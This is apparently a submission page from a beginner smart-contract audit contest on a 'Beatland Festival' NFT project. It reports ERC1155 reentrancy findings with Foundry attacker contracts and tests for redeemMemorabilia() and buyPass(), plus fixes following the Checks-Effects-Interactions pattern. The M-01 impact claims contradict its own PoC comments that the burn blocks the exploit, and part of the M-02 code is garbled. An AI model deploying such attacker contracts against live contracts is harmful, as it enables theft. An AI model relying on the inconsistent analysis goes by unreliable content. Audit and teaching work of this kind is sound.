Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

M-01: Reentrancy via ERC1155 Receiver Hook

Description:
The redeemMemorabilia() function calls _mint() which triggers onERC1155Received() callback on the receiver. The state update (collection.currentItemId++) happens before the burn is complete, allowing re-entry via the callback.

Attack Vector:

  1. Attacker calls redeemMemorabilia(collectionId)

  2. burnFrom() is called, deducting BEAT tokens

  3. _mint() triggers onERC1155Received() callback

  4. During callback, attacker re-enters redeemMemorabilia()

  5. Second call succeeds if attacker has sufficient BEAT balance

Economic Impact:

  • Attacker can mint multiple items with single burn

  • Requires sufficient BEAT balance to bypass burn check

  • Burn prevents full exploit but re-entry IS possible

Root Cause:
State update (collection.currentItemId++) happens after external call (_mint()).

Proof of Concept:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
contract ReentrancyAttackerM01 {
FestivalPass public festival;
BeatToken public beat;
uint256 public attackCollectionId;
uint256 public reentryCount;
uint256[] public mintedTokens;
bool public inCallback;
constructor(FestivalPass _festival, BeatToken _beat) {
festival = _festival;
beat = _beat;
}
function attack(uint256 collectionId) external {
attackCollectionId = collectionId;
reentryCount = 0;
mintedTokens = new uint256[](0);
inCallback = false;
festival.redeemMemorabilia(collectionId);
}
function onERC1155Received(
address,
address,
uint256 id,
uint256,
bytes calldata
) external returns (bytes4) {
reentryCount++;
// Try to re-enter on 1st callback only
if (reentryCount == 1 && !inCallback) {
inCallback = true;
try festival.redeemMemorabilia(attackCollectionId) {
// RE-ENTRY SUCCEEDED
(,,,,uint256 currentItemId,) = festival.collections(attackCollectionId);
if (currentItemId > 1) {
uint256 newTokenId = festival.encodeTokenId(attackCollectionId, currentItemId - 1);
mintedTokens.push(newTokenId);
}
} catch {
// RE-ENTRY REVERTED (expected - burn prevents exploit)
}
inCallback = false;
}
return this.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address,
address,
uint256[] calldata,
uint256[] calldata,
bytes calldata
) external pure returns (bytes4) {
return this.onERC1155BatchReceived.selector;
}
function getMintedTokens() external view returns (uint256[] memory) {
return mintedTokens;
}
}
function test_POC_M01_Reentrancy() public {
// Step 1: Create collection
vm.prank(organizer);
uint256 collectionId = festival.createMemorabiliaCollection(
"Reentrant Collection",
"ipfs://reentrant",
10e18,
5,
true
);
// Step 2: Deploy attacker contract
ReentrancyAttackerM01 attackerContract = new ReentrancyAttackerM01(festival, beat);
// Step 3: Give attacker contract BEAT tokens
vm.prank(address(festival));
beat.mint(address(attackerContract), 100e18);
console.log("=== M-01: REENTRANCY ATTACK ===");
console.log("Before attack:");
console.log(" Attacker BEAT:", beat.balanceOf(address(attackerContract)));
console.log(" Festival BEAT:", beat.balanceOf(address(festival)));
(,,,,uint256 beforeItemId,) = festival.collections(collectionId);
console.log(" Collection currentItemId:", beforeItemId);
// Step 4: Execute attack
vm.prank(address(attackerContract));
attackerContract.attack(collectionId);
console.log("\nAfter attack:");
console.log(" Attacker BEAT:", beat.balanceOf(address(attackerContract)));
(,,,,uint256 afterItemId,) = festival.collections(collectionId);
console.log(" Collection currentItemId:", afterItemId);
console.log(" Reentry count:", attackerContract.reentryCount());
console.log(" Minted tokens:", attackerContract.getMintedTokens().length);
// Step 5: Check how many items attacker received
uint256 itemsOwned = 0;
for (uint256 i = 1; i <= 5; i++) {
uint256 tokenId = festival.encodeTokenId(collectionId, i);
if (festival.balanceOf(address(attackerContract), tokenId) > 0) {
itemsOwned++;
console.log(" Attacker owns token", tokenId);
}
}
console.log(" Total items owned:", itemsOwned);
console.log(" Expected items (100 BEAT / 10 BEAT): 10");
console.log("\nVULNERABILITY: Reentrancy via onERC1155Received allows re-entry");
console.log(" Note: burnFrom prevents exploit (balance depleted after first burn)");
console.log(" But re-entry IS possible if attacker has sufficient balance");
}
function test_POC_M01_Reentrancy_MultipleAttempts() public {
// Step 1: Create collection
vm.prank(organizer);
uint256 collectionId = festival.createMemorabiliaCollection(
"Multi-Redeem Collection",
"ipfs://multi",
10e18,
10,
true
);
// Step 2: Give attacker just enough for 2 items
ReentrancyAttackerM01 attackerContract = new ReentrancyAttackerM01(festival, beat);
vm.prank(address(festival));
beat.mint(address(attackerContract), 25e18);
console.log("=== M-01: REENTRANCY MULTIPLE ATTEMPTS ===");
console.log("Attacker BEAT:", beat.balanceOf(address(attackerContract)));
// Step 3: Execute attack
vm.prank(address(attackerContract));
attackerContract.attack(collectionId);
console.log("After attack, BEAT:", beat.balanceOf(address(attackerContract)));
(,,,,uint256 finalItemId,) = festival.collections(collectionId);
console.log("Collection currentItemId:", finalItemId);
// Step 4: Check items owned
uint256 itemsOwned = 0;
for (uint256 i = 1; i <= 10; i++) {
uint256 tokenId = festival.encodeTokenId(collectionId, i);
if (festival.balanceOf(address(attackerContract), tokenId) > 0) {
itemsOwned++;
}
}
console.log("Items owned:", itemsOwned, "(paid for ~2)");
console.log("VULNERABILITY: Reentrancy attempt possible but burn prevents exploit");
}
}

Recommendation:
Implement CEI pattern: update state before external calls, or use reentrancy guard.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!